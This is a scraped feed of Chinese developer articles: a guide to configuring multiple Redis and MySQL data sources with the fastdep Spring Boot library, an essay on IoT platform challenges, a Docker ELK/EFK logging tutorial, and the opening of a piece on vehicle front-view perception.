        希望大家可以star支持一下,后续还会加入其它依赖的简易整合。
        https://github.com/louislivi/fastdep

        引入依赖

        • Maven
        <dependency>
            <groupId>com.louislivi.fastdep</groupId>
            <artifactId>fastdep-redis</artifactId>
            <version>1.0.1</version>
        </dependency>
        • Gradle

          compile group: 'com.louislivi.fastdep', name: 'fastdep-redis', version: '1.0.1'

        配置文件

        fastdep:
            redis:
              redis1: #连接名称
                database: 0
                host: 192.168.12.88
                port: 6379
                lettuce: #下面为连接池的补充设置
                  shutdown-timeout: 100 # 关闭超时时间
                  pool:
                    max-active: 18 # 连接池最大连接数(使用负值表示没有限制)
                    max-idle: 8 # 连接池中的最大空闲连接
                    max-wait: 30 # 连接池最大阻塞等待时间(使用负值表示没有限制)
                    min-idle: 0 # 连接池中的最小空闲连接
              redis2: #连接名称
                database: 1
                host: 192.168.12.88
                port: 6379
                lettuce: #下面为连接池的补充设置
                  shutdown-timeout: 100 # 关闭超时时间
                  pool:
                    max-active: 18 # 连接池最大连接数(使用负值表示没有限制)
                    max-idle: 8 # 连接池中的最大空闲连接
                    max-wait: 30 # 连接池最大阻塞等待时间(使用负值表示没有限制)
                    min-idle: 0 # 连接池中的最小空闲连接

        运用

        @Autowired
        private StringRedisTemplate redis1StringRedisTemplate;
        // 注入时 redis1 代表配置文件中的连接名称 StringRedisTemplate 为固定注入redis对象类型,
        // 会自动根据注入的变量名进行匹配
        
        @Autowired
        private StringRedisTemplate redis2StringRedisTemplate;
        
        
        @GetMapping("redis")
        public void redis() {
            System.out.println(redis1StringRedisTemplate.opsForValue().get("test"));
            System.out.println(redis2StringRedisTemplate.opsForValue().get("test"));
        }

        扩展

        有时候需要自定义redisTemplate序列化和增加一些额外的配置,这时候我们可以封装一个redis工具类来实现

        package com.louislivi.fastdep.test.utils;
        
        import org.springframework.beans.factory.annotation.Autowired;
        import org.springframework.data.redis.core.RedisTemplate;
        import org.springframework.data.redis.core.StringRedisTemplate;
        import org.springframework.data.redis.serializer.StringRedisSerializer;
        import org.springframework.stereotype.Component;
        
        /**
         * RedisUtil
         * 
         * @author : louislivi
         */
        @Component
        public class RedisUtil {
            @Autowired
            private StringRedisTemplate redis1StringRedisTemplate;
        
            @Autowired
            private StringRedisTemplate redis2StringRedisTemplate;
        
            @Autowired
            private RedisTemplate redis2RedisTemplate;
        
            @Autowired
            private RedisTemplate redis1RedisTemplate;
        
            public RedisTemplate redisTemplate(String name) {
                RedisTemplate redisTemplate;
                switch (name) {
                    case "redis2":
                        redisTemplate = redis2RedisTemplate;
                        break;
                    default:
                        redisTemplate = redis1RedisTemplate;
                        break;
                }
                StringRedisSerializer stringRedisSerializer = new StringRedisSerializer();
                redisTemplate.setKeySerializer(stringRedisSerializer);
                redisTemplate.setValueSerializer(stringRedisSerializer);
                redisTemplate.setHashKeySerializer(stringRedisSerializer);
                redisTemplate.setHashValueSerializer(stringRedisSerializer);
                return redisTemplate;
            }
        
            public StringRedisTemplate stringRedisTemplate(String name) {
                StringRedisTemplate stringRedisTemplate;
                switch (name) {
                    case "redis2":
                        stringRedisTemplate = redis2StringRedisTemplate;
                        break;
                    default:
                        stringRedisTemplate = redis1StringRedisTemplate;
                        break;
                }
                stringRedisTemplate.setEnableTransactionSupport(true);
                return stringRedisTemplate;
            }
        }
        
        @Autowired
        private RedisUtil redisUtil;
        
        
        @GetMapping("redis")
        public void redis() {
            System.out.println(redisUtil.redisTemplate("redis1").opsForValue().get("test"));
            System.out.println(redisUtil.stringRedisTemplate("redis2").opsForValue().get("test"));
        }

        原理

        使用ImportBeanDefinitionRegistrar BeanDefinitionBuilder.genericBeanDefinition动态注入Bean其实很简单有兴趣可以去看看源码,这样的依赖集成是不是简单了很多呢?

        希望大家能够支持开源,给个小星星,后续还会继续开发其他依赖的整合,甚至兼容其他框架使用。fastdepjava整合依赖更简单。在此也招募有志同道合的coder共同完善这个项目。

        ]]>
        springboot多数据源,最简单的整合方式-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 简介

        相信大家有配置过多数据源,或者即将配置多数据的朋友们,会发现网上大概有以下几种方案:

        • 1.使用AOP切片进行动态数据源切换
        • 2.使用MapperScanbasePackages配置不同的mapper目录以及template
        • 3.数据库代理中间件
          这两种方式都能实现多数据源但是各有缺点:
        • 1.无法实现多数据源XA事物(全局事物管理|JTA)这个缺点非常致命,配了多数据源但是没有全局事物那有什么用纯属坑爹,网上还有很多帖子教程使用这种虽然配置稍微简单但是如果你要用到全局事物根本没有用。
        • 2.这种方式是可以结合JTA实现全局事物,目前本人在业务中也采用这种方式在线上跑,经过多次调试以及线上运维有一点问题不可置疑就是麻烦!你会遇到需要整合druid连接池,还有全局事物如果你找网上帖子跟着流程走配完多多少少可能还是有些小问题。
        • 3.数据源代理可能是很好的一种方式,大多巨头公司都是采用这种方式,而且开发业务人员不用再考虑这些问题,使用代理进行切割以及连接池等都能实现,但是有一个很尴尬的问题就是开源的不好用,因为很多不适合自身的业务,而且自己开发也不现实成本过高。

        这时候我在考虑一个问题,为什么不可以像其他语言框架一样直接引入一个依赖在yml文件中配置就可以了呢,所有就有了现在的最简方案。

        源码地址

        希望大家可以star支持一下,后续还会加入其它依赖的简易整合。
        https://github.com/louislivi/fastdep

        开始

        版本:

        springboot:2.0+

        引入依赖:
        • Maven
        <dependency>
            <groupId>com.louislivi.fastdep</groupId>
            <artifactId>fastdep-datasource</artifactId>
            <version>1.0.1</version>
        </dependency>
        • Gradle

          compile group: 'com.louislivi.fastdep', name: 'fastdep-datasource', version: '1.0.1'
        application.yml 配置文件:
        fastdep:
          datasource:
            test: #数据源名称可随意取
              mapper: com.louislivi.fastdep.test.mapper.test #当前数据源对应的mapper目录不能多个数据源相同
              password: 123456
              url: jdbc:mysql://127.0.0.1:3306/douyin?serverTimezone=Asia/Chongqing&useLegacyDatetimeCode=false&nullNamePatternMatchesAll=true&zeroDateTimeBehavior=CONVERT_TO_NULL&tinyInt1isBit=false&autoReconnect=true&useSSL=false&pinGlobalTxToPhysicalConnection=true
              driverClassName: com.mysql.cj.jdbc.Driver
              username: root
        #      # 下面为druid连接池的补充设置
        #      initialSize: 10
        #      minIdle: 5
        #      maxActive: 100
        #      connectionInitSqls: 'set names utf8mb4;'
            test2: #数据源名称可随意取
              mapper: com.louislivi.fastdep.test.mapper.test2 #当前数据源对应的mapper目录不能多个数据源相同
              password: 123456
              url: jdbc:mysql://127.0.0.1:3306/test2?serverTimezone=Asia/Chongqing&useLegacyDatetimeCode=false&nullNamePatternMatchesAll=true&zeroDateTimeBehavior=CONVERT_TO_NULL&tinyInt1isBit=false&autoReconnect=true&useSSL=false&pinGlobalTxToPhysicalConnection=true
              driverClassName: com.mysql.cj.jdbc.Driver
              username: root
        #      # 下面为druid连接池的补充设置
        #      initialSize: 10
        #      minIdle: 5
        #      maxActive: 100
        #      connectionInitSqls: 'set names utf8mb4;'

        这就结束了?
        没错就是这么简单。
        是不是很简单,你去网上招贴子你会发现大同小异都是教你一直加文件进行配置,如果是MapperScan加一个数据源,每次都要又加一个java类。

        原理

        使用ImportBeanDefinitionRegistrar BeanDefinitionBuilder.genericBeanDefinition动态注入Bean其实很简单有兴趣可以去看看源码。

        最后

        防止有其他问题贴出我完整pom.xml下引入的依赖:

        <dependencies>
                <dependency>
                    <groupId>org.springframework.boot</groupId>
                    <artifactId>spring-boot-starter-web</artifactId>
                    <version>2.1.5.RELEASE</version>
                </dependency>
                <dependency>
                    <groupId>mysql</groupId>
                    <artifactId>mysql-connector-java</artifactId>
                    <version>8.0.11</version>
                </dependency>
                <dependency>
                    <groupId>com.louislivi.fastdep</groupId>
                    <artifactId>fastdep-datasource</artifactId>
                    <version>1.0.1</version>
                </dependency>
            </dependencies>

        希望大家能够支持开源,给个小星星,后续还会继续开发其他依赖的整合以及目前多数据的优化后续支持Hibernate等,甚至兼容其他框架使用。fastdepjava整合依赖更简单。在此也招募有志同道合的coder共同完善这个项目。

        ]]>
        物联网平台的技术挑战-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800   IoT时代的技术又遇到怎样的不一样与挑战,简单总结一下阿里云IoT场景中我们面临的问题与挑战。
        图2.jpg

        多样的连接

          万物的互联,连接的形态也在悄然的发生变化,从WIFI,3G/4G,BLE到NB-loT,LoRa,传统的RS232,RS485, CAN BUS等等也登上新的舞台,原本相互无关的网络形态,交织在一起,异构的网络构建着统一通讯。
        完2.jpg
          面对着智能生活,智能工业,智能城市,智能园区,有的场景追求低功耗,有的场景追求低延迟,有的场景追求吞吐量,面对着不同的需求,单一的网络形态以及网络协议很难满足不同的场景需求。
        举例来说,在协议方面:
        ## MQTT协议
          具有轻巧的特性,简洁优雅的PUB/SUB模型非常适合消息驱动的场景,短小精致的特点同时对弱网环境以及资源受限环境的十分友好。

        CoAP协议

          CoAP主要基于UDP,与HTTP相似的模型为嵌入式资源受限的场景提供了REQ&RSP的能力,这种模型更适合多数开发者的习惯,这种模型更适合多数开发者的习惯。UDP面临最大的就是下行寻址的问题,但在局域网本地通信非常适用,同时在IPv6时代也会迎来一些新的思考。另外 COAP over TCP也是非常值得看好的。

        HTTP/2

          HTTP/2的多流特性,天生就是为复杂场景而设计的,数据报与双向流能力的支持,极大的扩展了应用场景,多流的特性也可以为其他协议提供良好的封装能力,可谓是有潜力的的全能通道,在大数据场景以及流数据场景得心应手。

        AMQP协议

          AMQP适合吞吐量极大的云云消息流转场景,多信道支持,同时具备良好的开源生态,也是被广泛用于在构建云云,云边(边缘端)场景。

        其他协议

          还有大量传统的协议,例如J1939, Modbus,OPC等等,不同的接入方式,不同的网络链路,不同的连接协议,构建了前所未有的繁荣与复杂。
        连接不止于此,也留给我们更多的思考:
         1. TCP长连保活模式可以被颠覆吗?
         2. SDN在IoT时代可以重新被定义吗?
         3. 下一代网络会是什么样的?

        技术链路长

          一个经典的IoT闭环应用不仅仅涉及传感器,芯片,模组,OS,主控程序,网络以及连接协议等等,还有云平台的数据建模与结构化,存储,加工,分析到应用
        图3.jpg
          链路长的挑战在于一是不容易看到全貌,二是不容易把控各点。
          链路长更大考验的是分工,协作以及整合,这种分工不仅仅是公司内的分工,更多是合作伙伴的分工,行业的分工,生态的协作。
          IoT时代的全面来临,正是各种技术积累的必然结果。
          从技术视角,从单点看,每个技术链路上的点也充满着巨大的挑战。例如
         ・传感器-如何提开精度,降低成本,带来持绠的硬件技术红利...
         ・芯片组-如何持续提升性能,不断提开工艺,研发新协处理器...
         ・OS-如何在碎片化的格局下做好通用性,良好的可移植性,还有确保资源占用足够小...
         ・网络-如何满足低功耗,传输距离,传输性能,稳定性...
        从全局上看,也充满着挑战。例如
         ・稳定性一随着路的增长,全局的稳定性4.jpg会持续下降,确保全链路的可靠性就值得深入的思考与践行

        终端碎片化

          移动互联网时代早期,大家一定对手机不同系统的适配的繁杂记忆犹新,在应用层,你可能会面临奇奇怪怪的兼容问题,当你接触到 native或者framework/层,有些适配的问题更是让你疲意不堪
        图3.jpg
          对于IoT,现在的终端不仅仅是手机,还有冰箱,彩电,空调,汽车,水表,吊车...,
          面临的不仅仅是 Android,iOS,有 Linux,RAM, FreeRTOS,uCOS,Mbed,QNX等等,还有大量没有OS的:)
          你会面临接入的终端可能TCP的协议栈存在各种bug,你可能会面临永远也无法升级而且死循环在连接你的设备,你可能会面临DNS永久被缓存的场景....

        海量连接

          今天IM连接了人,达到了数十亿的规模,但实际的在线长连接数会少很多,对于支持这样的连接规模,已经很了不起,我们的支付宝也一样。
          但不久后的IoT连接的是数百数千亿设备,会是十亿百亿在线规模,这里面面临的挑战更是巨大,这样的规模也是IT工程史上前所未有的,充满了未知。
        图3.jpg
          例如网络抖动,时钟溢出,或者是一批设备的故障,都是巨大的共振,会对平台以及基础设施产生极大的冲击,如何防护以及快速的恢复?
          海量连接不仅仅关乎稳定,例如如何有效的就近接入,让信息通过最短的路径投递,提升效率以及节省成本?
        保障海量连接的稳定,安全,高性能,低成本,每一个都是很大的话题。

        巨量数据

          移动互联网时代今天大量的数据来源于C端场景,数据已经可谓是海量。对于常规以人为核心的应用,日活比例也不会太高。
        但物联网设备的特征与人还是有还大差异,以典型的生活场景为例,如果是1亿设备,在线大于可能在3千万,关键是这些设备还不时的会上报数据,对于平台几乎时时都在秒杀,产生着巨量的数据。
          如果是10亿设备呢,如果是100亿设备呢?100亿的设备并不遥远。
          如此大量的loT数据会迫切的引发对数据质量的思考,数据的信息密度的思考。怎样治理数据质量?数据怎样分级存储?数据如何更高效的清洗与萃取?
          在我们都在讨论大数据的时候,举个有趣的例子。当你到IoT工业场景中,你会发现有很多都是个性化的设备,这些设备会产生不少数据,但是还算不上大数据,我们大数据的分析平台与技术在解决个体设备的数据分析时,就是杀鸡用了牛刀,成本的问题又突显出来。所以又可能引入小数据的重新思考。
          还有,以聚合计算为主体的分析引擎,在面对CEP( Complex Event Processing)场景的计算时,又往往不那么有效。
        面对IoT场景,数据分析,存储需求都面临了一些变革,其根源来自于场景的多样型。

        云端一体

          各种迹象都在表明未来去中心的趋势。孙正义2017年在一次演讲中提及,末来鞋子的一块芯片的计算力会超越人脑,那真正是无处不在的计算。
          当计算触手可得的时候,就不再需要用时间换计算力,随时随地计算,而且更加的自治。
          这说的有点大,从小的角度来说,在很多特定的场景,例如工厂数字化采用云端集中式会存在可靠(例如断网风险,成本(例如带宽成本),性能(例如需要更快响应),安全(例如不希望数据被扩散)的需求,这种场景最佳的方案就是边缘计算。
        图3.jpg
          但今天的边缘计算不同与以前的本地或单机系统,是大网络中的小网络,是大协作中的小自治。
          今天的边缘计算的核心是云端一体的协同,云端提供了更强的控制力与计算力,边缘端提供更实时的执行力。
        在技术的架构上,云与端也越来越趋于相似,所以,云端的一体一是指工作的协同,另一方面也是架构的趋同。
          边缘计算是云计算能力的延展,会覆未来的技术格局,也会对互联网的中间件带来新的创新机遇。例如,如果把边缘看作一个单元,那也会是无处不在的单元化。例如,未来也会出现异构网络下的通讯中间件等等。
          那个时代,可能会重新定义分布式!

        数字世界建模

          我们在说物理化数字世界,loT的核心使命是把物理世界投影到数字世界,建立物理世界与数字时间的双向同步机制。如何在数字世界描述物理世界呢?这就是我们物的建模,这种建模充满着遐想。
          通过对物理世界的数字化,我们就可以在数字世界重新认识物理世界,甚至可以四维导航,或是展现现在,或是导航到历史的截面,或是预测到模糊的未来。
        图3.jpg
          如果建模的太通用,类似数据库的ER( EntityRelationship)模型,或者编程语言的OO( Object Oriented)模型,仿佛又回到过去,建模太定制,又难以有足够的表达力。
          从OCF,OMA,W3C到我们发起的ICA,都在制定相应的物模型,如何让模型成为落地标准,成为构建数字世界的基石,成为数字世界被此感知以及互操作的基础,也是一件不容易的事情。
        如何恰如其分的在数字世界去表达物联世界,然后驱动数字世界,改变物理世界,带给我们无尽的想象以及变革的机会。

        部暑多样性

          回到最现实的地方,IoT的PaaS会面临各种应用场景,衍生出各种部署场景,例如公有云,专有云,混合云,边缘云,网关等等,未来的百亿连接一定不会只在数个集群,面对如何繁多的环境,如何做到快速部署,便捷的运维,也是留给我们要去克服的课题。
          对于部署,
          先看架构问题,平台需要良好的伸缩性以及模块化,例如需要有云原生应用的特性。
          再看依赖问题,依赖的各种中间件就很难带到各个环节中,我们需要SAL( Service Abstract Layer),需要具有不挑环境的中间件,需要保持系统的最小依赖...
          再看发布问题,环境如何快速部署,如何确保及时更新,如何让集群快速复制?
          再看运维问题,在异构的形态上构建统一的运维体系,还有众多细节问题需要去解決。

        安全问题

          引用 Thoughtworks 2018年技术雷达报告中对IoT的描述:物联网(IoT)生态系统持续稳步发展,关键成功因素包括安全和成熟的工程实践。
          安全对于物联网至关重要,也是很多业务初期容易忽略的。在过往的几年,业内物联网的安全事故也是层出不穷。物联网赋予了设备以及业务更大的空间,同样不如果不守护好安全这扇门,帯来的灾难也是致命的,不仅仅是财务损失,甚至涉及到人身安全。
          举些具体安全的例子:
         ・如何防范设备身份可能被盗取或者被破解?
         ・如何防范固件可能被截获,甚至是纂改?
         ・如何防范设备中间人攻击?
         ・如何防范云平台的DDOS攻击或进一步的CC攻击?
         ・如何防范设备的越权访问?
         ・如何防范设备数据被截取,被簒改?
         ・如何防护设备不会被非授权控制?
         ・如何防范平台数据不泄漏?
         ・如何包含个人信息安全?
         ・如何保障漏洞被及时修复?
         ・如何保障数据中心被非法闯入?
          物联网的链路长,碎片化严重,合作方多,安全危害大,这些特点让安全问题变得特别的突出。
          保障安全也是一项体系化的工作,不仅仅是技术层面的,还包括相关制度以及人员管理。
          在技术层面,既有端的安全,网络安全,也有云平台的安全,除了系统本身的安全,也有业务层面的安全。相对其他系统,物联网有很多新的安全挑战。例如终端的身份发放以及保存,固件的保护,异构网络下传输安全,双向鉴权,传输加密套件的精细化选择问题,采集的信息脱敏处理等

        结语

          总结一下loT平台面临的工程技术挑战,也是我们正遇到的,以及正在努力解決的。实现一个平台的基本功能其实看似不难,但是真正保障高可用,高性能,高安全以及可伸缩性其突挑战是巨大的。

        ]]>
        容器日志管理:从docker logs到ELK/EFK Fri, 02 May 2025 09:39:04 +0800 监控和日志历来都是系统稳定运行和问题排查的关键,在微服务架构中,数量众多的容器以及快速变化的特性使得一套集中式的日志管理系统变成了生产环境中一个不可获取的部分。此次话题我们会集中在日志管理方面,本篇会介绍Docker自带的logs子命令以及其Logging driver,然后介绍一个流行的开源日志管理方案ELK/EFK。

        一、Docker logs子命令

           默认情况下,Docker的日志会发送到容器的标准输出设备(STDOUT)和标准错误设备(STDERR),其中STDOUT和STDERR实际上就是容器的控制台终端。

          我们可以通过logs子命令来查看具体某个容器的日志输出:

        docker logs edc-k8s-demo

           这时看到的日志是静态的,截止到目前为止的日志。如果想要持续看到新打印出的日志信息,那么可以加上 -f 参数,如:

        docker logs -f edc-k8s-demo

        二、Docker logging driver

          刚刚我们学习了默认配置下,Docker日志会发送到STDOUT和STDERR。但实际上,Docker还提供了其他的一些机制允许我们从运行的容器中提取日志,这些机制统称为 logging driver。

          对Docker而言,其默认的logging driver是json-file,如果在启动时没有特别指定,都会使用这个默认的logging driver。

          json-file会将我们在控制台通过docker logs命名看到的日志都保存在一个json文件中,我们可以在服务器Host上的容器目录中找到这个json文件。

        容器日志路径:/var/lib/docker/containers/<container-id>/<container-id>-json.log

          例如我们可以查看一个exceptionless-api容器的json日志:

          一个快速查看某个容器的日志文件路径的方法:

        docker inspect exceptionless_api_1

          通过inspect命令,可以查到该容器的ID及一系列配置信息,我们重点关注LogPath即可:

          查到LogPath后,即可复制其后面的日志路径了,打开这个json文件你就可以看到输出的容器日志了。

          除了json-file,Docker还支持以下多种logging dirver,来源:Configure logging drivers

          其中,none 代表禁用容器日志,不会输出任何容器日志。

          其他几个logging driver解释如下:

        • syslog 与 journald 是Linux上的两种日志管理服务
        • awslog、splunk 与 gcplogs是第三方日志托管服务
        • gelf 与 fluentd 是两种开源的日志管理方案

          我们可以在容器启动时通过加上 --log-driver 来指定使用哪个具体的 logging driver,例如:

        docker run -d --log-driver=syslog ......

          如果想要设置默认的logging driver,那么则需要修改Docker daemon的启动脚本,例如:

        {
          "log-driver": "json-file",
          "log-opts": {
            "labels": "production_status",
            "env": "os,customer"
          }
        }

          每个logging driver都有一些自己特定的log-opt,使用时可以参考具体官方文档。

        三、关于ELK

        3.1 ELK简介

          ELK 是Elastic公司提供的一套完整的日志收集以及展示的解决方案,是三个产品的首字母缩写,分别是ElasticSearchLogstashKibana

        • Elasticsearch是实时全文搜索和分析引擎,提供搜集、分析、存储数据三大功能
        • Logstash是一个用来搜集、分析、过滤日志的工具
        • Kibana是一个基于Web的图形界面,用于搜索、分析和可视化存储在 Elasticsearch指标中的日志数据 

        3.2 ELK日志处理流程

           上图展示了在Docker环境下,一个典型的ELK方案下的日志收集处理流程:

        • Logstash从各个Docker容器中提取日志信息
        • Logstash将日志转发到ElasticSearch进行索引和保存
        • Kibana负责分析和可视化日志信息

          由于Logstash在数据收集上并不出色,而且作为Agent,其性能并不达标。基于此,Elastic发布了beats系列轻量级采集组件。

          这里我们要实践的Beat组件是Filebeat,Filebeat是构建于beats之上的,应用于日志收集场景的实现,用来替代 Logstash Forwarder 的下一代 Logstash 收集器,是为了更快速稳定轻量低耗地进行收集工作,它可以很方便地与 Logstash 还有直接与 Elasticsearch 进行对接。

          本次实验直接使用Filebeat作为Agent,它会收集我们在第一篇《Docker logs & logging driver》中介绍的json-file的log文件中的记录变动,并直接将日志发给ElasticSearch进行索引和保存,其处理流程变为下图,你也可以认为它可以称作 EFK。

        四、ELK套件的安装

          本次实验我们采用Docker方式部署一个最小规模的ELK运行环境,当然,实际环境中我们或许需要考虑高可用和负载均衡。

          首先拉取一下sebp/elk这个集成镜像,这里选择的tag版本是640(最新版本已经是7XX了):

        docker pull sebp/elk:640

          注:由于其包含了整个ELK方案,所以需要耐心等待一会。

          通过以下命令使用sebp/elk这个集成镜像启动运行ELK:

        docker run -it -d --name elk 
            -p 5601:5601 
            -p 9200:9200 
            -p 5044:5044 
            sebp/elk:640

          运行完成之后就可以先访问一下 http://[Your-HostIP]:5601 看看Kibana的效果:  

          Kibana管理界面

        Kibana Index Patterns界面

          当然,目前没有任何可以显示的ES的索引和数据,再访问一下http://[Your-HostIP]:9200 看看ElasticSearch的API接口是否可用:

        ElasticSearch API

          _Note:_如果启动过程中发现一些错误,导致ELK容器无法启动,可以参考《Docker启动ElasticSearch报错》及《ElasticSearch启动常见错误》一文。如果你的主机内存低于4G,建议增加配置设置ES内存使用大小,以免启动不了。例如下面增加的配置,限制ES内存使用最大为1G:

        docker run -it -d --name elk 
            -p 5601:5601 
            -p 9200:9200 
            -p 5044:5044 
           -e ES_MIN_MEM=512m 
            -e ES_MAX_MEM=1024m 
            sebp/elk:640

        五、Filebeat配置

        5.1 安装Filebeat

          这里我们通过rpm的方式下载Filebeat,注意这里下载和我们ELK对应的版本(ELK是6.4.0,这里也是下载6.4.0,避免出现错误):

        wget https://artifacts.elastic.co/downloads/beats/filebeat/filebeat-6.4.0-x86_64.rpm
        rpm -ivh filebeat-6.4.0-x86_64.rpm

        5.2 配置Filebeat  

           这里我们需要告诉Filebeat要监控哪些日志文件 及 将日志发送到哪里去,因此我们需要修改一下Filebeat的配置:

        cd /etc/filebeat
        vim filebeat.yml

          要修改的内容为:

          (1)监控哪些日志?

        filebeat.inputs:
        
        # Each - is an input. Most options can be set at the input level, so
        # you can use different inputs for various configurations.
        # Below are the input specific configurations.
        
        - type: log
        
          # Change to true to enable this input configuration.
          enabled: true
        
          # Paths that should be crawled and fetched. Glob based paths.
          paths:
            - /var/lib/docker/containers/*/*.log
            - /var/log/syslog

          这里指定paths:/var/lib/docker/containers/_/_.log,另外需要注意的是将 enabled 设为 true。

          (2)将日志发到哪里?

        #-------------------------- Elasticsearch output ------------------------------
        output.elasticsearch:
          # Array of hosts to connect to.
          hosts: ["192.168.16.190:9200"]
        
          # Optional protocol and basic auth credentials.
          #protocol: "https"
          #username: "elastic"
          #password: "changeme"

          这里指定直接发送到ElasticSearch,配置一下ES的接口地址即可。

          _Note:_如果要发到Logstash,请使用后面这段配置,将其取消注释进行相关配置即可:

        #----------------------------- Logstash output --------------------------------
        #output.logstash:
          # The Logstash hosts
          #hosts: ["localhost:5044"]
        
          # Optional SSL. By default is off.
          # List of root certificates for HTTPS server verifications
          #ssl.certificate_authorities: ["/etc/pki/root/ca.pem"]
        
          # Certificate for SSL client authentication
          #ssl.certificate: "/etc/pki/client/cert.pem"
        
          # Client Certificate Key
          #ssl.key: "/etc/pki/client/cert.key"

        5.3 启动Filebeat

          由于Filebeat在安装时已经注册为systemd的服务,所以只需要直接启动即可:

        systemctl start filebeat.service

          检查Filebeat启动状态:

        systemctl status filebeat.service

        5.4 验证Filebeat

          通过访问ElasticSearch API可以发现以下变化:ES建立了以filebeat-开头的索引,我们还能够看到其来源及具体的message。

        六、Kibana配置

          接下来我们就要告诉Kibana,要查询和分析ElasticSearch中的哪些日志,因此需要配置一个Index Pattern。从Filebeat中我们知道Index是filebeat-timestamp这种格式,因此这里我们定义Index Pattern为 filebeat-*

          点击Next Step,这里我们选择Time Filter field name为@timestamp:

          单击Create index pattern按钮,即可完成配置。

          这时我们单击Kibana左侧的Discover菜单,即可看到容器的日志信息啦:

          仔细看看细节,我们关注一下message字段:

          可以看到,我们重点要关注的是message,因此我们也可以筛选一下只看这个字段的信息:

          此外,Kibana还提供了搜索关键词的日志功能,例如这里我关注一下日志中包含unhandled exception(未处理异常)的日志信息:

          这里只是朴素的展示了导入ELK的日志信息,实际上ELK还有很多很丰富的玩法,例如分析聚合、炫酷Dashboard等等。笔者在这里也是初步使用,就介绍到这里啦。

        七、Fluentd引入

        7.1 关于Fluentd

          前面我们采用的是Filebeat收集Docker的日志信息,基于Docker默认的json-file这个logging driver,这里我们改用Fluentd这个开源项目来替换json-file收集容器的日志。

          Fluentd是一个开源的数据收集器,专为处理数据流设计,使用JSON作为数据格式。它采用了插件式的架构,具有高可扩展性高可用性,同时还实现了高可靠的信息转发。Fluentd也是云原生基金会 (CNCF) 的成员项目之一,遵循Apache 2 License协议,其github地址为:https://github.com/fluent/fluentd/。Fluentd与Logstash相比,比占用内存更少、社区更活跃,两者的对比可以参考这篇文章《Fluentd vs Logstash》。

          因此,整个日志收集与处理流程变为下图,我们用 Filebeat 将 Fluentd 收集到的日志转发给 Elasticsearch。

           当然,我们也可以使用Fluentd的插件(fluent-plugin-elasticsearch)直接将日志发送给 Elasticsearch,可以根据自己的需要替换掉Filebeat,从而形成Fluentd => ElasticSearch => Kibana 的架构,也称作EFK。

        7.2 运行Fluentd

          这里我们通过容器来运行一个Fluentd采集器:

        docker run -d -p 24224:24224 -p 24224:24224/udp -v /edc/fluentd/log:/fluentd/log fluent/fluentd

          默认Fluentd会使用24224端口,其日志会收集在我们映射的路径下。

          此外,我们还需要修改Filebeat的配置文件,将/edc/fluentd/log加入监控目录下:

        #=========================== Filebeat inputs =============================
        
        filebeat.inputs:
        
        # Each - is an input. Most options can be set at the input level, so
        # you can use different inputs for various configurations.
        # Below are the input specific configurations.
        
        - type: log
        
          # Change to true to enable this input configuration.
          enabled: true
        
          # Paths that should be crawled and fetched. Glob based paths.
          paths:
            - /edc/fluentd/log/*.log

          添加监控配置之后,需要重新restart一下filebeat:

        systemctl restart filebeat

        7.3 运行测试容器

          为了验证效果,这里我们Run两个容器,并分别制定其log-dirver为fluentd:

        docker run -d 
                   --log-driver=fluentd 
                   --log-opt fluentd-address=localhost:24224 
                   --log-opt tag="test-docker-A" 
                   busybox sh -c 'while true; do echo "This is a log message from container A"; sleep 10; done;'
        
        docker run -d 
                   --log-driver=fluentd 
                   --log-opt fluentd-address=localhost:24224 
                   --log-opt tag="test-docker-B" 
                   busybox sh -c 'while true; do echo "This is a log message from container B"; sleep 10; done;'

          这里通过指定容器的log-driver,以及为每个容器设立了tag,方便我们后面验证查看日志。

        7.4 验证EFK效果

          这时再次进入Kibana中查看日志信息,便可以通过刚刚设置的tag信息筛选到刚刚添加的容器的日志信息了:

        八、小结

          本文从Docker自带的logs子命令入手,介绍了Docker具有多种logging dirver,然后过度到ELK的基本组成,并介绍了ELK的基本处理流程,以及从0开始搭建了一个ELK环境,演示了基于Filebeat收集容器日志信息的案例。然后,通过引入Fluentd这个开源数据收集器,演示了如何基于EFK的日志收集案例。当然,ELK/EFK有很多的知识点,希望未来能够分享更多的实践总结。

        参考资料

        CloudMan,《每天5分钟玩转Docker容器技术

        一杯甜酒,《ELK学习总结

        于老三,《快速搭建ELK日志分析系统

        zpei0411,《Logstash beats系列 & Fluentd

        ]]>
        小议车辆环境视觉基础前视感知 Fri, 02 May 2025 09:39:04 +0800 1. 前言

        无论是AD/ADAS还是智能网联车,前视感知都是其最基础和重要的能力之一。自动驾驶(AD)是前几年的热门话题。今天虽然稍微降温下来一些,但仍是大家关注的重点之一,毕竟它是人类长久以来的梦想之一。众所周知,美国汽车工程师学会(SAE)将自动驾驶分为 L0~L5共六个级别。其中L3及以上允许由系统在限定或不限定条件下完成所有的驾驶操作;而L2及以下还是需要由人类驾驶员一直保持驾驶状态,因此大多还属于高级驾驶辅助系统(ADAS),如车道偏离预警(LDW),前碰撞预警(FCW),自适应巡航(ACC),紧急自动刹车(AEB),车道保持辅助(LKA),交通标志识别(TSR),自动泊车(AP)等。和大多数智能机器人一样,自动驾驶的处理流程可分为三个阶段:感知、决策、执行。因此一旦感知出了问题,那后面基本就凉了。类似地,ADAS或AR导航也强依赖于对环境的感知。没有准确且实时的感知能力,上层做的再炫酷也容易成为鸡肋。ADAS和AD间的界线并没那么清晰,前者可看作到后者的过渡产品,因此很多技术是通用的。前视感知是个非常大的话题,因此本文主要聚焦在一些最为基础和通用的前视感知能力上。

        2. 业界

        本节我们从工业界和学术界两个方面简要聊下业界的相关情况。它们各有优缺点,学术界涌现出更前沿更先进的方法,且指标明确,易于定量比较,但方法往往专注于单点,且对实际产品中的各种约束(如计算资源)考虑不多;而工业界直接面对产品,更多地考虑实用性和整体性。但采用的指标、数据不透明,难以衡量和比较。只有全方面的了解,通过产学研的加速融合,才能打造更加完善、更好用户体验的产品。

